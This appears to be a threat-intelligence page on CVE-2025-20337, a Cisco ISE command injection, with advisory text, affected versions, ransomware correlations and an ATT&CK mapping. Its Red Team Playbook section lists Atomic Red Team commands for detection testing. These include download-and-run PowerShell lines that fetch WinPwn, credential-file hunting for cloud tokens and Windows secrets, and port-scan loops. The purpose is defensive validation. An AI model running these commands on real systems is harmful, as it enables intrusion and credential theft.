CVE-2025-20337

CRITICAL CISA KEV Pub 16/07 Upd 26/02

Overview

This vulnerability is a command injection flaw caused by insufficient validation of user-supplied input within a specific API of Cisco Identity Services Engine (ISE) and Cisco ISE-PIC. The affected component improperly processes crafted API requests, allowing malicious input to be executed at the operating system level with root privileges. The root cause lies in inadequate input sanitization in the API handling mechanism, which enables unauthorized command execution on the underlying system.

Vulnerability Description

A vulnerability in a specific API of Cisco ISE and Cisco ISE-PIC could allow an unauthenticated, remote attacker to execute arbitrary code on the underlying operating system as root. The attacker does not require any valid credentials to exploit this vulnerability. This vulnerability is due to insufficient validation of user-supplied input. An attacker could exploit this vulnerability by submitting a crafted API request. A successful exploit could allow the attacker to obtain root privileges on an affected device.

Impact

An unauthenticated remote attacker can execute arbitrary commands on the affected Cisco ISE device with root-level privileges. This allows full control over the system, including the ability to manipulate configuration, access sensitive data, disrupt services, or move laterally within the network. No valid credentials or user interaction are required, enabling an attacker to compromise the device remotely and potentially affect the broader enterprise environment.

Solution

Cisco has released security updates addressing this vulnerability in Cisco Identity Services Engine Software version 3.3.0 and its patch releases. Administrators should apply the patches provided in the Cisco Security Advisory (cisco-sa-ise-unauth-rce-ZAd2GnJ6) available at the Cisco Security Center. Detailed instructions for upgrading to the fixed versions and mitigating the issue are outlined in the advisory. No alternative workarounds are specified; prompt patching is recommended.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

A critical vulnerability exists within the API of Cisco Identity Services Engine (ISE) and its Passive Identity Connector (PIC) that allows unauthenticated remote attackers to execute arbitrary code on the underlying operating system with root privileges. This flaw stems from inadequate validation of user-supplied input, which creates an opportunity for attackers to craft malicious API requests. The severity of this vulnerability is underscored by its potential to grant attackers complete control over affected devices, enabling them to manipulate system configurations, access sensitive data, and potentially pivot to other systems within the network.

The exploitation of this vulnerability can occur through various attack vectors. An attacker could leverage the API without needing valid credentials, significantly lowering the barrier to entry for exploitation. By sending specially crafted requests to the vulnerable API endpoints, an attacker could trigger the execution of arbitrary code. This could be done from anywhere on the internet, making it particularly dangerous for organizations that expose their Cisco ISE or PIC to external networks. Scenarios could range from a targeted attack on a specific organization to widespread exploitation across multiple entities using the same vulnerable versions of the software.

The real-world impact of this vulnerability is profound, particularly for organizations that rely on Cisco ISE for identity and access management. If successfully exploited, an attacker could gain root access, leading to unauthorized access to sensitive information, manipulation of user data, and disruption of services. The potential for data breaches, loss of customer trust, and regulatory penalties could result in significant financial repercussions. Furthermore, the ability to pivot to other systems within the network could lead to a broader compromise, amplifying the risk and impact on the organization’s overall security posture.

To detect and mitigate this vulnerability, organizations should prioritize immediate patching of affected versions of Cisco ISE and PIC. Regularly updating systems to the latest patches is essential in minimizing exposure to known vulnerabilities. Additionally, implementing robust input validation and monitoring API traffic for unusual patterns can help detect potential exploitation attempts. Organizations should also consider employing network segmentation to limit the exposure of critical systems to the internet and enforce strict access controls to APIs, ensuring that only authorized users and applications can interact with these endpoints.

In conclusion, the vulnerability within the Cisco ISE and PIC APIs represents a significant threat to organizations leveraging these technologies. The combination of unauthenticated access and the potential for arbitrary code execution poses a critical risk that necessitates immediate attention. By understanding the technical details, potential attack vectors, and real-world implications, organizations can take proactive measures to safeguard their systems and mitigate the associated risks effectively.




CSURFACE threat intelligence has identified a marked increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2025-20337, rising by nearly 60%. This upward adjustment reflects growing confidence in the likelihood of exploitation, despite the absence of new exploit code or active campaigns detected by our telemetry. Additionally, the number of ransomware groups linked to this vulnerability has expanded, with a new actor joining the previously known four, signaling heightened interest from financially motivated threat actors. Although no confirmed ransomware campaigns leveraging this flaw have been observed, the broadened association suggests an elevated risk of future targeted attacks. These developments underscore a shift in the threat landscape, elevating the urgency for defenders to prioritize monitoring and protective measures around Cisco ISE environments. Consequently, the overall threat level for this vulnerability has increased from critical in theory to critical with a rising probability of exploitation in practice, warranting enhanced vigilance.

Affected Products (18)

Vendor Product Version CPE
cisco Cisco Identity Services Engine 3.3.0 cpe:2.3:a:cisco:identity_services_engine:3.3.0:-:*:*:*:*:*:*
cisco Cisco Identity Services Engine 3.3.0 cpe:2.3:a:cisco:identity_services_engine:3.3.0:patch1:*:*:*:*:*:*
cisco Cisco Identity Services Engine 3.3.0 cpe:2.3:a:cisco:identity_services_engine:3.3.0:patch2:*:*:*:*:*:*
cisco Cisco Identity Services Engine 3.3.0 cpe:2.3:a:cisco:identity_services_engine:3.3.0:patch3:*:*:*:*:*:*
cisco Cisco Identity Services Engine 3.3.0 cpe:2.3:a:cisco:identity_services_engine:3.3.0:patch4:*:*:*:*:*:*
cisco Cisco Identity Services Engine 3.3.0 cpe:2.3:a:cisco:identity_services_engine:3.3.0:patch5:*:*:*:*:*:*
cisco Cisco Identity Services Engine 3.3.0 cpe:2.3:a:cisco:identity_services_engine:3.3.0:patch6:*:*:*:*:*:*
cisco Cisco Identity Services Engine 3.4.0 cpe:2.3:a:cisco:identity_services_engine:3.4.0:-:*:*:*:*:*:*
cisco Cisco Identity Services Engine 3.4.0 cpe:2.3:a:cisco:identity_services_engine:3.4.0:patch1:*:*:*:*:*:*
cisco Cisco Identity Services Engine Passive Identity Connector 3.3.0 cpe:2.3:a:cisco:identity_services_engine_passive_identity_connector:3.3.0:-:*:*:*:*:*:*
cisco Cisco Identity Services Engine Passive Identity Connector 3.3.0 cpe:2.3:a:cisco:identity_services_engine_passive_identity_connector:3.3.0:patch1:*:*:*:*:*:*
cisco Cisco Identity Services Engine Passive Identity Connector 3.3.0 cpe:2.3:a:cisco:identity_services_engine_passive_identity_connector:3.3.0:patch2:*:*:*:*:*:*
cisco Cisco Identity Services Engine Passive Identity Connector 3.3.0 cpe:2.3:a:cisco:identity_services_engine_passive_identity_connector:3.3.0:patch3:*:*:*:*:*:*
cisco Cisco Identity Services Engine Passive Identity Connector 3.3.0 cpe:2.3:a:cisco:identity_services_engine_passive_identity_connector:3.3.0:patch4:*:*:*:*:*:*
cisco Cisco Identity Services Engine Passive Identity Connector 3.3.0 cpe:2.3:a:cisco:identity_services_engine_passive_identity_connector:3.3.0:patch5:*:*:*:*:*:*
cisco Cisco Identity Services Engine Passive Identity Connector 3.3.0 cpe:2.3:a:cisco:identity_services_engine_passive_identity_connector:3.3.0:patch6:*:*:*:*:*:*
cisco Cisco Identity Services Engine Passive Identity Connector 3.4.0 cpe:2.3:a:cisco:identity_services_engine_passive_identity_connector:3.4.0:-:*:*:*:*:*:*
cisco Cisco Identity Services Engine Passive Identity Connector 3.4.0 cpe:2.3:a:cisco:identity_services_engine_passive_identity_connector:3.4.0:patch1:*:*:*:*:*:*

Exploits

No exploits found for this CVE.

Exploited in Wild CONFIRMED
Ransomware IN USE
Attacker Interest MEDIUM
Sightings Few sightings

Ransomware Groups 5

akira
CORRELATED
1529 victims
Chain Inference
2026-04-05
ransomhub
CORRELATED
842 victims
Chain Inference
2026-04-05
sinobi
CORRELATED
274 victims
Chain Inference
2026-04-05
frag
CORRELATED
30 victims
Chain Inference
2026-05-15
0apt
CORRELATED
Chain Inference
2026-04-05

Threat Feed

9 events
2026-06-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-15
Exploited by frag

Ransomware group known to exploit this vulnerability (30 known victims)

2026-04-05
Exploited by akira

Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AnyDesk, Bloodhound, Cloudflared (1529 known victims)

2026-04-05
Exploited by ransomhub

Ransomware group known to exploit this vulnerability. Tools: Acronis Disk Director, Angry IP Scanner, AnyDesk, Atera, BITSAdmin (842 known victims)

2026-04-05
Exploited by sinobi

Ransomware group known to exploit this vulnerability (274 known victims)

2026-04-05
Exploited by 0apt

Ransomware group known to exploit this vulnerability

2026-04-05
Exploited by akira

Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AnyDesk, Bloodhound, Cloudflared (1529 known victims)

2025-07-28
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

OS Command Injection
80% command_injection
Remote Code Execution
67% rce
Privilege Escalation
53% privilege_escalation
Code Injection
47% code_injection

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-101 Server Side Include (SSI) Injection
55%
High High
CAPEC-14 Client-side Injection-induced Buffer Overflow
51%
Medium High
CAPEC-43 Exploiting Multiple Input Interpretation Layers
51%
Medium High
CAPEC-135 Format String Injection
51%
High High
CAPEC-9 Buffer Overflow in Local Command-Line Utilities
49%
High High

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (3)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2025-20337
sec.cloudapps.cisco.com
GitHub CVE
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ise-unauth-rce-ZAd2GnJ6
cisa.gov
NVD API US Government Resource
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-20337